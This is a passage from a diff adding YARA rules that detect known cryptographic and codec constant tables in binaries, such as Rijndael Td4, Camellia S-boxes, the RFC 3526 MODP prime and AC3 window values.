7eb689a202eaf1d895edff3dd46414d63b2be72048dc0b170f30a67aa778ed6087c1eb3821a1055abea6e6987cf8b4a522a1b590690b1489603c56d55d1f392ecb464c3494b7c9dbad32d9f5af1520e470ea08f18c473e67a665d7998d27ab7e75fbc492066e2d86c611df163b7f0df184ebdd04ea65a604f62e6fb3dfe0f00f0f8e4a51babc3df8eeeda51e37a40e2a0a4ffc2984b35ca81d3ee8e21c1bba82f88fdc0de853835e5045cd1707dbd4009ad1180181f3a5edcfa034f2ca8788517ee70b3651c4b33814341ef9cc8990f49757e0141d59f29d3fd2ffcdc5958522da3d54332a0599fd811f66767b0fdb41e6368707538e4125772215fab22e16467f5fe2fed9136c12b2a848ea6ee7921754dcaf8f89d1c6bf12d9031bf5831bfaaab131d9b72ae49627acf1acebd2fcd7a7a340c5bcfb0a6d135610850c6d9adde18978aa74792a782535d39bc08a07095de2a7d0edc6eab33841bd709eeb71bebf0a925c62c24ff5d0a5a2a390120b6be354c02b93fe62ff59ddf67daca81145353735d4dcfa72915e84cadc209d32602bf884182f67cde12cc6792c6424d1ada2098b26e7d9196ae9c1d00c50a94b9b6a785af3434c633603020e22d866eb4a477bc1c2aa9bece31a736a580284e07a662682a5ecca917656d467b5ad75485c15941ddf3f815b98fd006d06cd74b7fc6e2851af44a71f4734885e2eae61e7aea02cf79ae0e8aecde440be65f61851bb0b97e96419df33eb4b6e726297192907003b70a730eff516d83146bea60415b5b580b86c4bd87ec3931764967de9f677ed217b736bf92e31066377f4f36fe8488952aef8f8a386f2d7db536310fc4ce7dcca16ddc652fabd195c00d36ad4645d8f86686a181ecf2c519d3aae605638c2627e36d7b1dc77eae759e36ebe9a7473076c524b739fd0f9e55a73a88b558accc73f4945ab413053c1b9b0bd590a47ba58193293c3465f0bb02d85e5b036d32b9b20919ff19e657d4f606e24cb2c78e28a9ab9c7c414c8b62af5cc7b7211beafd927474db321010c0d957e1f47ad7056436f7549685a6142d4adf57a95b98099e0874e55e3ae50dfa1cf2a56d52ffd3a2698d8d68f0cd84d92f4c83a174a753dca99cf3cbf91afac7b47fe2dc190d6f67153ed9470685e285c1a83a4a008370ac9d3c58065d01737907f0f7ff2fdb813bbf9194328504d1b6fbdb11240ff8fa31b761c3b1fe2e2c430150d8a2c37a769ce438966ceb5fe114e18e5216673bd80db8b610b4d578bd6ba297d5bfee6253e61bb813f9107bc109c1c07972dac0979ebbec757d7c53b358de5c3e8618ff3927801eb1ac21c9b9cfbefd4abf794f4267d7299033e6b95a263e0a3309ca04a9a8b4a9db40f0900d5b76a3fc08a2657a0f2c09cd142bfed2d9dee3d72a96079c8490f33411b42870272b2c69c36007cc09ec50a253435cb49ac4eefd82901ef4e2450f4b6def4cae546cc8af763929863abfe2f78457a5dfeb97c8f3546634e64f7d85b00c92dbf15737a421c262521aac4d017508e51936c489239c3d4d7a2e0fecbb48ddd5d2c20d6757c616c5be3d895c2db192b0302d369b3603241e4dc5f6842ce1056f6ddb9ddf306f048e1b51dd2a48e6f49cd2fe6fcb02031eeb05823911b2c08a3f518b81783b2cfd2a69c181e9ca8c8dbaa6a57186b0ce3fa9912a9ea5db6e727107f4b792bfbeb5b3b447f31e404a6d03959322d854bfc7f20fbee6baed574d3c781b282963075b4c394a109e3ba059fb4137bf9c38c673929f82f42a9987cff7610b0164b24ee673d661c57bff8a10de3ee58670d1fb7b9de7ad911b6c9a2576c7b88d5afb7e14f986b84ae9062fda5c1acde4cdf94ff3a48c5d15b8a05373cba42c16c1663406ff7b26e52b88d4e6d0d6f038008e11d311d97c923059e91d67ccc2428ec45c98223e659835b57959988c40d409efa68157245cb3e82d12f0806823b98fddacba8862308297daa8875b80344cd9f26e0d1bd28f7f5911bf6010204399f66e4de4af08c217c1d7acee59cd7293c6265b10bc09690446823ba03a59d87f19bab8e0558a4b1ec23bccc1e40bb01df589a3d145fa868e870a09e23f27d3088f14f8311641ab465d51402167052743313ee095e283fcf3d0e955309c8b9540293596dda30894099f23b871369533f9455a98487cba9cade5ea1a0e92b3527211429fb7a4eff1f37f07628224f2750f439028b865e1df03a07bbc1960ec17105c8bf232e2268850867d2b0b5808ed4a3719681bb93e18ad3b555b8048ba1d0e23a695f33d5adecb4485ccaa11649193b74fdc498be3481017725ada4543ce88779e7b9e133da1410e12813a26a229ec50c27605f1a6d755f497177efaf60fb53e89bbf3d44f7a786c7ad829ab273614504095ebd32c2667abc58b2c83a678c5506f32a77c9b6c639f641da35da9fe9ef6d2115e67b1cc70c641127555c569436c49339787746628e03ea69243e5acef3abf9d212d30f8d761e74c652d6ce83b8440152853fa35b5a0bc29d5a43c33396e61aecfd8c08a48ca29720f4961e3ca4248846a7ee6ea62f61375a0ecff965b14c6b4afbaba0061caa436b7962f16fc24d7f0f9bed548eccba6c3e25bbd2efffb7a64f9da2b095bc252e8c38f1de8ba5d68654f0b676c54ad7de5d80452bbcbd308089924de970af813cdb00319eda6dff3e4788ccdf9fc38db37eb8178d5285381242b6b140d20edaf2a9f94bd5dcface44e67e3c430e20121348c7783a4fc8fc9fbb768524721fcdf0e4cf3836057469ec4c4eec0c7cb6a72bed32cee5f34d2fac114cea2643d133cbbc587ec74c04e9a4effc34d99332515f4454e5065564c95d0ae47d318f41de5059e2dd691ab38c38860a825534a8b42de91a71841ea91090718349b1b7f0f74d797197c0ab2e2ad60e5c8daa97c0fa229bf3daf12fcc9ff48192f26fc6d57f483fa8dcfc6706a3e863cefcd2e34b9b2cc2bbfb934bf73fda66ba70fed265a12fd4930e9779e203a1715ee4b077eccdbe97e48539721eb4cf1750f75e02aa0ab7e0b84038f00923d479858935d01afc8ec5abb2e20b92c69672915a376341af66fb2771cadcab742141ff724aa6ce3cb3a566300833494af0f59a28d7cd0a978d5ec2c831e0e8968f475d877622c0fef3dd90610510f37bec91140fbbaeb0adf59288d50f85f8509be84db75883487549611c5391f64f35a3eec6d281e4bb020798eded7d0524fb8902e99685137530aced72271780352d1d0dc36b8ec28f73eb264304638fef5458be3bdd5a32525c9e23465c32cf53aa9067d09d34514dd2c124a69ea6eecf51204f7e2e860a0f22136448e004943939ceb7fc8670a42cc4d9cce7038a23d25a68dbf12fabb2846406ec79bfef705d9dfe5418489cddb9135bad0915ed75d4f0155198c70e06cdeb0bf8b73a1891678cd5e4eef352507c18d1ff824ee592115dc9a26cacb94ca1ee865d7d6753b1be85342a498c1f781d19ddf9eb84a7ba6608f6748cd0a23b648f51227c08e156e952888dae10c48dcb68a71a8eecbf26770438aa453bcdb43877a619de0dec1c6916ad072e46809331d4c63819a60b6d87a5c540d88fa51ffab916184fa73c17b18a181f029cc9982fdaab16e84a13ab80053ebb5a6473b7053b5ff6f27555bea20125a98b7e4e00742f1b53d9e8710358d71c304e766295d86e7f3d006f59ff2659b1b9d6c5a83d29659f4cf890d64df0ce6e88af33ff5f2782470108823f083314e4b5f91a9a40fe0dfd6b39db2c34a3254352b201b3627ee78a5a6155669f9e6fc3092cd3922d5a458585744749a9dec7f2ba9ea333c1b4cf636254bc6ecc40b083b026b3fdc854943b8cd7ff879e6af556c62bf4990d94c22d2d6e096b09dff798bf52d83a1ee0a6190bb4d4dbcb9ca94259c5e945af9899a58631d907e895623673f7a1fa1b18486b1d0a7a15e257ec1fd51a20f66a44674675f0b0cfcaeb15e6780729684f1ff3b81ed122ced63e71223bc9c32ea7c157302f1f3f7cc3ac46cb0ef5aa02fd93b8dbcf9f0b602ed91f33d63aea4861f998a4ea836a8b6e42d8a8dc5c73b774b289a0114a521e73b3f6874967c9cbe508881194d39bb1c7e406990ca2249b7e7fedafa74436ebdeea0965de0eefe8d3f11e6cb48f79e9437dc9b9a3280c7484d7f2a26f5697614796847b9d065fb6e6e35b7a106fbe78ed3063f9156a077ae70de6eed09b8ba04aee4b2b4e89b8c73ea6566af4fe34ba59131202fc033728f899bf4cc830af0c357180397a6817f0897aa7d06935429eeba9c1f19981ee2d2876798cbd7a1fdda537175d80faa9093c43534fd9a17cdf530c8bfa77cb6c88bcdcd93f20471ba97c9140c0dfdcd1f94201d07d587b384f1dfc7684036531f3c5e7f8233973e3e744222a034ba7f550d7a5875c2e999836c44c2b083cf658b8ec7b91dfda6df85bfcb8703276ddb529bb72ae102b3600774ec96a578ffb1ec6da12d11a27a4fac50ec31b69437132cc116324ff0632e5308e36423196a32ce0310e3871f176ad0a965c8d9536a56dc130f4d6f8d2e1e71b3fd1ffc8e1db4d0066ae787546e67b06013f83056d58fe3badb534bbf0972ba1c9345f09a80cd62545b67a24d1777401f3c6dbdc4dd2caded4142e4aeb1e0abed9e6b5bdab014379f7707e2afd4005278a2df4dec1224ca3c08e07018763c1f41a51dee50a339abd523abb7e35647daa57786977324cae0316834e0012e378ad2010a2e7f220b46a0ca7419de64111ea186ce028286b4f98bd8cb2d2839d6e446c5fb7267f8d414d8c5647ba8e3d18e6bfad0bd84460165f7f6d200e3ecacb1139a458e2bcc01db246173a72d3cdd7f554a8cac79c1d263d8832ac7c2c94ba2364c29076b84280472455e5179f38a2567647bee0a02dab675e9b284d31fdbb8f9c2b86446513149d04c87cb493c7912b361b2c82d8df13fb5546b14e7ba9e21407bacb1e145fde5c9d45436189acf0d5f1fba853005b5e1cd804ea97f3b3fdd4a881216208122a5741d3bce98ae5cc4386251114a4e0c6a4fec544910f62cf6565d0330da19c219f488da45421c8636dac5e3ec4af0d77723a8b72a9ef87df207b4e93d7e5863e1ab60355e304d519c8fb21e3caa6bf60acb3509a12c3b69f7eea685ecdc7b1839419901cb06c3795c2d53ce93d13adb92adf2ed5ae8478a0c012f5602ec91062e3a3863dbcce5139169b9d2635fab5cdd02a6e7d0c33577fd89762e859e7b08d8921f28e297eaaa5d129000055451b06b5e18ac08b3a70926c2b1cc3c242ef25af6b59cc9456045422db731d0a9a17c4d9f9a0b604603c3daea2affdefc49694b45b07c8f7e3d41c1d14c7c59c34558e213816bd786a2450f86815f1b229bc0295fabcfaed1b0523daf2e56c797c5393dcb028e1aaae294beea03d493ad79568412c6bdfb5377f2d1225bdabfcb1c45d10580b8170902a88f737dd0fe15c3f8a51b5ca4d525b25518487859e3ce234bd1981822940cbec3c5d6f5ba074ca3ee142150210b6ace2592fd179f90f50ccf9e427da37607d84f10d5a97925efe23e6d390e16dd64880567bb8d632506e213582ceb7369a4a4bf6247a2a2780f716698c8bedef935515ce4cf4bfdd3725bd994b5ddb954bc02f8169a1fdd392b60b66909a4a1afbb2b9a44669190c7368da497faa89e2815fa0b1830f9a66648bf444967dffb327b375b68d5c616bcc95beebbcb9204f67825965758223316f05cf453e7188e45a5711c254999f61bfe9eaa84060c4baeacdc1c0f2e96f4c451c69126449f69c41700f5b26ef3bdcd39e8a57c3f5600e6d553c322685600e5bf5591bfaa9c1461afa8f4c7ca145e2a9d75529db5951ca65c2af35ce760adb05453d11a97ec7ea810d0aacb68af88e52ffe37b5953a29ea056cd48acb3df0d436fe45cf47aa6b3c45ed0e2fbd8cfce4ef03599b3106ff53ec619d69c82d6220b6920df740a46fd1740ed10858eccf86ca7ca6e3abf24c8d64970811a583d2461a263c1bbb6ac8b0432cc447dc28aa3d9ab10f4aa5bffdd7f4b8204a85a496dad949f8c2d4fa7a6e1e3e8de351285f7d493d84065887f4bfddabfa42a04207c247c32d117c5a16e0985661a36b46669d57d052112c3a57d27f7cf3aa49398d5948122c0cd1cc5f064db8961ffc4bc333df16ae64c18cb05e0ea9bb91d1dcd5cff0f9842fea754b8b09f4b8d716a6ad47b8cfda522cca80fd131bde42b958414d3473824cb5f97fac707c446581eed8648040bb71e79dbcd287f4173f5e20bb0c277f880214590955c00eb70f3ffdd6b7aa4d6d9d6389e50ce02a77f64000febeb066f6076cf06cc1d0aff86a28bf2d9e462c218c95d305ad8545f2232871d5b47feb5cc6816b54f2d20ba2bd7d9b979a6a5432d910d1c8453e8a412bf48aa7e3bdf1d2ff2470e1e787309b50ae60cf2ef42b7ff9dd161d220392e2a06032ba1169504653922eb6019b8b80ed5fe161c256e0126f830c3c09a71763e95652615ed709536a69431d60287c9b19483f07450e15cb2908c59ba70f642970b81154a796c8caffce925590d4e7468d86c7167301b73d7e877b00a91612fc45adbbb616a671585f0fb3e5193d5e9839e4b7294f48d64095c98e187e8fd0c3775c6d3b1345d250dbc33e435dce01b133442b8aad0af7e8bb4502a040835aba344eec49799d0991720497b9a824144c5b707833b26a66c6afdf4952f75e5c6082c40177292eed995a754b78a2a3d94722f55f742a4081278194e33312c9162eeea7c8da94f09b35d662f86c355f3b1535d171006bd273f4140b86cfe4659fa0cdf9237e03f8f5eb82e3700e7cf18e1bcade729bea7dd3184de5cee44e53e87f1411b1b788ae7f0d2a0784cc9a52807b677282e41392ca6c9aff35e26a1c506256a0c77c2bc12cee1dcd56db63a375b674ad09954e616d2bf8134528f7d89f315ecfc646f0fc8135b8b61beef741d3e2714b782dcac179d1903e0bf40ddf861e0e75792e937aa5a7704696252faf9563d463af6bb8b646ea243153f01f098c89e879f7e30a8cc770115a4274ccc48331dca2c2f431b13a06f9f8f1f1dded6dda747a0026660c7b21ccc64ab37d2d3d1fc25728e939b76f40f8e70034eec2dc1033ddafbb2fe9a8843eed2ce0bae434ffbeb2389cb226d39f73c010d366922e0d4d202365e854c781fd0ba05380746f55238137ae13338b6c78a057448df4aa18a679cb292bacdadfa6cc79fe80c349e3308094e9d5fb923591f29e9aff15f264a0ff680346e1c849bb22a3abfeeadb4918fa83819e2c3d3c645f8efdf57f2aa2cf60b6b002f78ee756fef79f462a916891cd45aa51153d4fe8490d229f2e600b0167bc2f14274c0239874761f2b605374c2a3ec764bbd9116b963f4988c6ae6adf13cc9bc149783456d3e21858811474d27f07d178e51293f50b5739bb46b6bf9c368811610aeb0ca633b963d0e14dba155564bfc8d5cde146e35f189f7c1da514eaf683e68d90f4b8d9d4fa8c9d1f9a0523fe09136808e87e1466ed85e5071d0990e1a713c10934e0cb265085a2e68f0e41ffcfb569bdf5e10e35d8dea7a187923b1fdab719c7be7bee19db92e2345cf33eac0ec21a1c7051852d7a459727cae56ebf59638dc758fb13d8f63aa8e80e9ab8d35399fac720bc091fadeb7922d4962fd41556b5b4d2ef9e8dec66d7eeabec4ab573f35ce9056dad669577384143942a64a230a9d0df8288050f9f615f2b37aa219e3b84d1a3451119cad310558ef7ba5223c77338696071a56c74536be9d249eda13f9684ca6789b2d65daef34c33b7fa9274cf4176be6201262760b7dcd9a894377968267ede0ca5beef3fc79c80036759f40b66d92b5399ad00688c57a31b0ae836f211f38864acae60125309fd16234ff66fb3bfddd247c2072ebe2ece2d3b6f64ade08eac7be4d999cc48b9ab097e5ac49ba9707cf66478cb3752a7cc573931b13581e9361ce2c82b10c1cba09b955759dd2117d93ddaf7f12e4926dc6ad3bda29bcecc25471d5c1a224fef6824d13c5584f27625b51e33a1c2681cb012ec807e9cb7fe3131909edf8c94600c8f9d8493263fb88e3ed9bcf809ef16c119a5381185724d56bf7f30351a8f747aef5e6b715cf9c7ed4dec6d7db1abb2802415ce544994edb5e25d447b630fcaab82b88115d2a21d329bb8b09f5b39602e914eab58f5a02dd5721947b67b5ac90a3c0e758fb014abd834c67d3893bb9f34bdfa42d9e2948ab8c321ec4fc522c58ba968cf303b25dd87fbdbdd1ca83ae8260c142b4bbb09adaa56be85fb93fa9713767042eb2d8523149c95853841e54b49786482abe66698ed32ddca2952b853c92ac112cc07ba8f20d99b18823be374f1bfa08807c03e5544dc8d0701fd457ce7eecad90543a3a06d9273c2b00bfa2308084a3ae7ec00320ed6d3202c68640a9697d28a7838a7af530cb5f7ac579e7eb79e44468b5e9bcdc050fb473a3e20e57886e781ad7a0f6e8bdcdba9c872fa364c1bcd16a978bd766965ee221ab3cc3e5e5aa631090908d694844b31898bb8a1e3eae8764e3b4dc3b8931f9bdaf19d5bb5fdca04563ca65949b26fe2886ec519c3f60015d1eb74950a10640e44db1cb76f7e5706cbfed2b55eff2181241a3365a7008070ccb4460984f75144de70e28a80e43d956cd65505f53d79125c196ef0a72f12332c81fa563736f39a0c3 }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_FPTable__8_byt_128_
+{
+strings:
+	$a0 = { 0004080c1014181c2024282c3034383c4044484c5054585c6064686c7074787c0105090d1115191d2125292d3135393d4145494d5155595d6165696d7175797d02060a0e12161a1e22262a2e32363a3e42464a4e52565a5e62666a6e72767a7e03070b0f13171b1f23272b2f33373b3f43474b4f53575b5f63676b6f73777b7f }
+
+condition:
+	$a0
+}
+
+	
+rule gc_pqf_common_c_a_half__flt32___32_lil_192_
+{
+strings:
+	$a0 = { 49cc4c37d6cd9037805c4e376ec335b7c05072b82ad905b9ffd55bb9abac93b9b8c2a3b9d62f8cb9fc98fab8636f12392b18003aa92e643aa29f9c3a9d34b13a5bd3a13a6dba493ae31e5bb898f196ba00431abb1b0a5fbb622a83bb05ec7dbbe09a39bba2ec5ebac228f73af0d1a23bb6c6ff3b74f81e3c71c6233c6a61063ce773883be2b4f0ba291614bcf40c85bc93bab3bccff9c8bc2712b9bc8bc277bc108febba07798a3c707f223d0912843d01f7b53d1483e13de0df003e0072093e }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td4__0x52525252U___32_big_1024_
+{
+strings:
+	$a0 = { 52525252090909096a6a6a6ad5d5d5d53030303036363636a5a5a5a538383838bfbfbfbf40404040a3a3a3a39e9e9e9e81818181f3f3f3f3d7d7d7d7fbfbfbfb7c7c7c7ce3e3e3e339393939828282829b9b9b9b2f2f2f2fffffffff87878787343434348e8e8e8e4343434344444444c4c4c4c4dedededee9e9e9e9cbcbcbcb545454547b7b7b7b9494949432323232a6a6a6a6c2c2c2c2232323233d3d3d3deeeeeeee4c4c4c4c959595950b0b0b0b42424242fafafafac3c3c3c34e4e4e4e080808082e2e2e2ea1a1a1a16666666628282828d9d9d9d924242424b2b2b2b2767676765b5b5b5ba2a2a2a2494949496d6d6d6d8b8b8b8bd1d1d1d12525252572727272f8f8f8f8f6f6f6f66464646486868686686868689898989816161616d4d4d4d4a4a4a4a45c5c5c5ccccccccc5d5d5d5d65656565b6b6b6b6929292926c6c6c6c707070704848484850505050fdfdfdfdededededb9b9b9b9dadadada5e5e5e5e151515154646464657575757a7a7a7a78d8d8d8d9d9d9d9d8484848490909090d8d8d8d8abababab000000008c8c8c8cbcbcbcbcd3d3d3d30a0a0a0af7f7f7f7e4e4e4e45858585805050505b8b8b8b8b3b3b3b34545454506060606d0d0d0d02c2c2c2c1e1e1e1e8f8f8f8fcacacaca3f3f3f3f0f0f0f0f02020202c1c1c1c1afafafafbdbdbdbd0303030301010101131313138a8a8a8a6b6b6b6b3a3a3a3a9191919111111111414141414f4f4f4f67676767dcdcdcdceaeaeaea97979797f2f2f2f2cfcfcfcfcecececef0f0f0f0b4b4b4b4e6e6e6e67373737396969696acacacac7474747422222222e7e7e7e7adadadad3535353585858585e2e2e2e2f9f9f9f937373737e8e8e8e81c1c1c1c75757575dfdfdfdf6e6e6e6e47474747f1f1f1f11a1a1a1a717171711d1d1d1d29292929c5c5c5c5898989896f6f6f6fb7b7b7b7626262620e0e0e0eaaaaaaaa18181818bebebebe1b1b1b1bfcfcfcfc565656563e3e3e3e4b4b4b4bc6c6c6c6d2d2d2d279797979202020209a9a9a9adbdbdbdbc0c0c0c0fefefefe78787878cdcdcdcd5a5a5a5af4f4f4f41f1f1f1fdddddddda8a8a8a8333333338888888807070707c7c7c7c731313131b1b1b1b11212121210101010595959592727272780808080ecececec5f5f5f5f60606060515151517f7f7f7fa9a9a9a919191919b5b5b5b54a4a4a4a0d0d0d0d2d2d2d2de5e5e5e57a7a7a7a9f9f9f9f93939393c9c9c9c99c9c9c9cefefefefa0a0a0a0e0e0e0e03b3b3b3b4d4d4d4daeaeaeae2a2a2a2af5f5f5f5b0b0b0b0c8c8c8c8ebebebebbbbbbbbb3c3c3c3c83838383535353539999999961616161171717172b2b2b2b040404047e7e7e7ebabababa77777777d6d6d6d626262626e1e1e1e169696969141414146363636355555555212121210c0c0c0c7d7d7d7d }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_drc_pow2_table__flt32___32_lil_188_
+{
+strings:
+	$a0 = { 2dc0033f7d9c073fc2950b3fd6ac0f3f99e2133ff037183fc9ad1c3f1845213fd7fe253f08dc2a3fb7dd2f3ff304353fd8523a3f87c83f3f2a67453ff52f4b3f2424513ffd44573fce935d3ff011643fc7c06a3fbfa1713f51b6783f0000803f2dc0833f7d9c873fc2958b3fd6ac8f3f99e2933ff037983fc9ad9c3f1845a13fd7fea53f08dcaa3fb7ddaf3ff304b53fd852ba3f87c8bf3f2a67c53ff52fcb3f2424d13ffd44d73fce93dd3ff011e43fc7c0ea3fbfa1f13f51b6f83f }
+
+condition:
+	$a0
+}
+
+	
+rule Speex_exc_5_256_table__8_byt_1280_
+{
+strings:
+	$a0 = { F8DB05D505493D270CFDC3E0022A1EFD11E5092214FFFB0217F9D21A35D114FEDFA7CDC01B0B0FDEFBC819F7FFE3012843E9F0102113070E5516F6F6F4F9FF34591D0BECDBD2F111E8E418020100179B170EFFE9EE0905F32601E4E4041B33E622D8232F3626CAE6FA2AE70DE2DC1229FCDF17E0F9FC33FD11CC38D124FEEB240A08DF1F1309FBD80AF7EB1312B2EEFB00E6DCD1CDD412281BFE1D31E60220CA1EB73603FB2416350AFFACCBE3FB03D435CD041647DDFF21FBE5F92411E9D910F7C9F1EC27DD06D9F21230C0EFF109275125BC252FEBFA980D0609FE2308E9122A2D1521FBCF09FAD5C82702F0E75701FDF711E7F5F7FF0A02F2F204FFF61CE928E01AF71A04E5E9032AC40131FD1B0ACCD8FE122DE911D403FD11D234D8D1194B1FCF351EE2E0DC26FAF1F036E5D00326E3E0EAF2FCE9F320D90908D3F322F03128201F1C1717202F3BBC083E2C19F2E8BFF02443E7DAEB04DFFE2A05C1280B1AD6E9C34FE117EC0AE035E7DC0AE6FB0300B905F6DB01E815CAEF01E3E7F1E520442DF0DBEEFB0100B347FA03EC47BD1DDD0AE2130410110500F213021C1A3B0302182737CED3EEEF21DD0EFF010857DDE300E50DF917F325D832DD0E13F9F23136FB16FEE3F8E5260D1B300CD7EBF11C07F0E8EDEC0BEC09020D17EC0B1BE547BB0802FA160C101009F0F8EF01190128DBDF425E3504EAE7D7D61923F0F1391FE3E01510C42D0FFF0739E6D1E30B080F1397F8361B0AEF06F4FFF6040017F61F0D0B0A0CC017FDF8ED103418D8100A28050900F3F9EBF8FAF9EB3B10CB12C40BD10EEE19F3E804D910E4361ABD1E1BECCC14F4370C12F027F2FAE638A8C90C191ADB064B00DEAF36E201F931E9F2150AC2C6C7D1DE0FFC22B21F19F50732F62AC10EDCFC393739352AD6FF0F28250F19F506011FFEFAFFF9C0221C1EFF031500A8F4C819E42808E4F2090C02FAEF1631FAE60E1CEC04F43223280DDAC6E3111E163C1ACAD9F43AE4C10AEBF8F41AC206F6F5EAFAF904011202BA0B0E040D13E8DE18431133EB0D1736E23001F3501AF0FE0DFC06E21DE849C61EE514FEEB292D1EE5FDFBEEECCFFDDD0A2AEDBDCBF5090DF1DFCDE20F0719E2041CEADE36E327D2141022FC2F4B01D4C9E807FF09D632F8DC294400FCF6E9F1CE4024F7E50C19DAD1DB20CF33DC02FC45E613072D432E0DC12E0FD104D70DFA05EB251AC9F921FFE40AEFC0F200DCEF5DFDF7BE2CEB03F426FAF3F4130D2BD5F6F406FB09CF20FB0204050FF00AEB08C2F840084FFFBECFEE0528FBE2D301FA15E05DEEE2EB2015EE160805D7CA5016F6F9F8E9C04238F2E2D7D2F2E3DB1BF22AFEF7E3220E21F216040A1A1A1C2017B8E00300F223D6B2E0061DEED3FB07DFD3FDEADE08F804CDE7F73BB215FBE7D042F1EFE8CFF319E9C0FA28E8EDF539DFF8010ACCCA1C273122F5C3D7D50A0FF1331E0FCD20DEFEDE0E12100101FDFD0101EE0610300CFBD607243007ECF6070C023627DA253604F5F8D2F605F6DE2EF41DDB2724F51838110E141900E7E437F9FB1B0309E6F806E8F6E2E1DE1204161528FFE3DBF8EB5CE30BFD0B4917160704D4F7F515F30B09B2FF2F72F4DBEDFBF5EA130CE207262DEBF8F737D338EB07112EC7A9FA1B1F1F07C8F42E15FBF4240303EB2B130CF909F200F7DFA5071A03F54053E1D2190209050202FF14EF0AFBE5F81408ED10EBF3E105052A180922EC1CC3160BD940ECFFE2F7EC18E7E8E316C406FB29F7A90E220FC734450FFD9A3A1003063CB5E01A07C7E5E0E8EBE3F03ED21F1EE5F1070F }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp3033__32_big_1024_
+{
+strings:
+	$a0 = { 38003838410041411600161676007676d900d9d99300939360006060f200f2f272007272c200c2c2ab00abab9a009a9a750075750600060657005757a000a0a091009191f700f7f7b500b5b5c900c9c9a200a2a28c008c8cd200d2d290009090f600f6f607000707a700a7a7270027278e008e8eb200b2b249004949de00dede430043435c005c5cd700d7d7c700c7c73e003e3ef500f5f58f008f8f670067671f001f1f180018186e006e6eaf00afaf2f002f2fe200e2e2850085850d000d0d53005353f000f0f09c009c9c65006565ea00eaeaa300a3a3ae00aeae9e009e9eec00ecec800080802d002d2d6b006b6ba800a8a82b002b2b36003636a600a6a6c500c5c5860086864d004d4d33003333fd00fdfd6600666658005858960096963a003a3a09000909950095951000101078007878d800d8d842004242cc00ccccef00efef26002626e500e5e5610061611a001a1a3f003f3f3b003b3b82008282b600b6b6db00dbdbd400d4d498009898e800e8e88b008b8b02000202eb00ebeb0a000a0a2c002c2c1d001d1db000b0b06f006f6f8d008d8d880088880e000e0e19001919870087874e004e4e0b000b0ba900a9a90c000c0c79007979110011117f007f7f22002222e700e7e759005959e100e1e1da00dada3d003d3dc800c8c812001212040004047400747454005454300030307e007e7eb400b4b428002828550055556800686850005050be00bebed000d0d0c400c4c431003131cb00cbcb2a002a2aad00adad0f000f0fca00caca70007070ff00ffff320032326900696908000808620062620000000024002424d100d1d1fb00fbfbba00babaed00eded4500454581008181730073736d006d6d840084849f009f9fee00eeee4a004a4ac300c3c32e002e2ec100c1c101000101e600e6e6250025254800484899009999b900b9b9b300b3b37b007b7bf900f9f9ce00cecebf00bfbfdf00dfdf7100717129002929cd00cdcd6c006c6c13001313640064649b009b9b630063639d009d9dc000c0c04b004b4bb700b7b7a500a5a5890089895f005f5fb100b1b117001717f400f4f4bc00bcbcd300d3d346004646cf00cfcf370037375e005e5e4700474794009494fa00fafafc00fcfc5b005b5b97009797fe00fefe5a005a5aac00acac3c003c3c4c004c4c0300030335003535f300f3f323002323b800b8b85d005d5d6a006a6a92009292d500d5d5210021214400444451005151c600c6c67d007d7d3900393983008383dc00dcdcaa00aaaa7c007c7c7700777756005656050005051b001b1ba400a4a415001515340034341e001e1e1c001c1cf800f8f8520052522000202014001414e900e9e9bd00bdbddd00dddde400e4e4a100a1a1e000e0e08a008a8af100f1f1d600d6d67a007a7abb00bbbbe300e3e3400040404f004f4f }
+
+condition:
+	$a0
+}
+
+	
+rule _4096_bit_MODP_Group__from_RFC3526__Section_5___8_byt_512_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aaac42dad33170d04507a33a85521abdf1cba64ecfb850458dbef0a8aea71575d060c7db3970f85a6e1e4c7abf5ae8cdb0933d71e8c94e04a25619dcee3d2261ad2ee6bf12ffa06d98a0864d87602733ec86a64521f2b18177b200cbbe117577a615d6c770988c0bad946e208e24fa074e5ab3143db5bfce0fd108e4b82d120a92108011a723c12a787e6d788719a10bdba5b2699c327186af4e23c1a946834b6150bda2583e9ca2ad44ce8dbbbc2db04de8ef92e8efc141fbecaa6287c59474e6bc05d99b2964fa090c3a2233ba186515be7ed1f612970cee2d7afb81bdd762170481cd0069127d5b05aa993b4ea988d8fddc186ffb7dc90a6c08f4df435c934063199ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_window__16_lil_512_
+{
+strings:
+	$a0 = { 040007000c00100015001c0022002a0033003d004800540061006f007f009100a400b800cf00e70001011d013b015b017e01a301ca01f40120024f028102b602ee022a036803a903ef0337048304d30426057e05d90539069c0604076f07e0075408cd084b09cd09540adf0a6f0b040c9e0c3d0de00d890e360fe80f9f105c111d12e312ae137e1453152d160b17ef17d718c419b51aab1ba61ca51da81eb01fbc20cc21df22f7231325322655277b28a429d02a002c322d672e9e2fd830143252339234d43517375b38a139e73a2f3c773dbf3e084050419942e14329457046b647fb483f4a824bc34c024e3f4f7a50b251e9521c544d557b56a657cd58f159125b2f5c485d5d5e6e5f7b6084618962896384647b656d665b6743682769066adf6ab46b846c4f6d146ed56e906f4670f770a3714a72ec7289732174b4744275cb755076cf764a77c1773378a07809796e79ce792a7a837ad77a287b757bbe7b037c467c857cc07cf97c2e7d617d917dbe7de87d107e367e597e7a7e997eb67ed17eea7e017f177f2c7f3e7f507f607f6f7f7c7f897f957f9f7fa97fb27fba7fc17fc87fce7fd47fd97fdd7fe17fe57fe87feb7fee7ff07ff27ff47ff57ff77ff87ff97ffa7ffb7ffc7ffc7ffd7ffd7ffe7ffe7ffe7ffe7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7fff7f }
+
+condition:
+	$a0
+}
+
+	
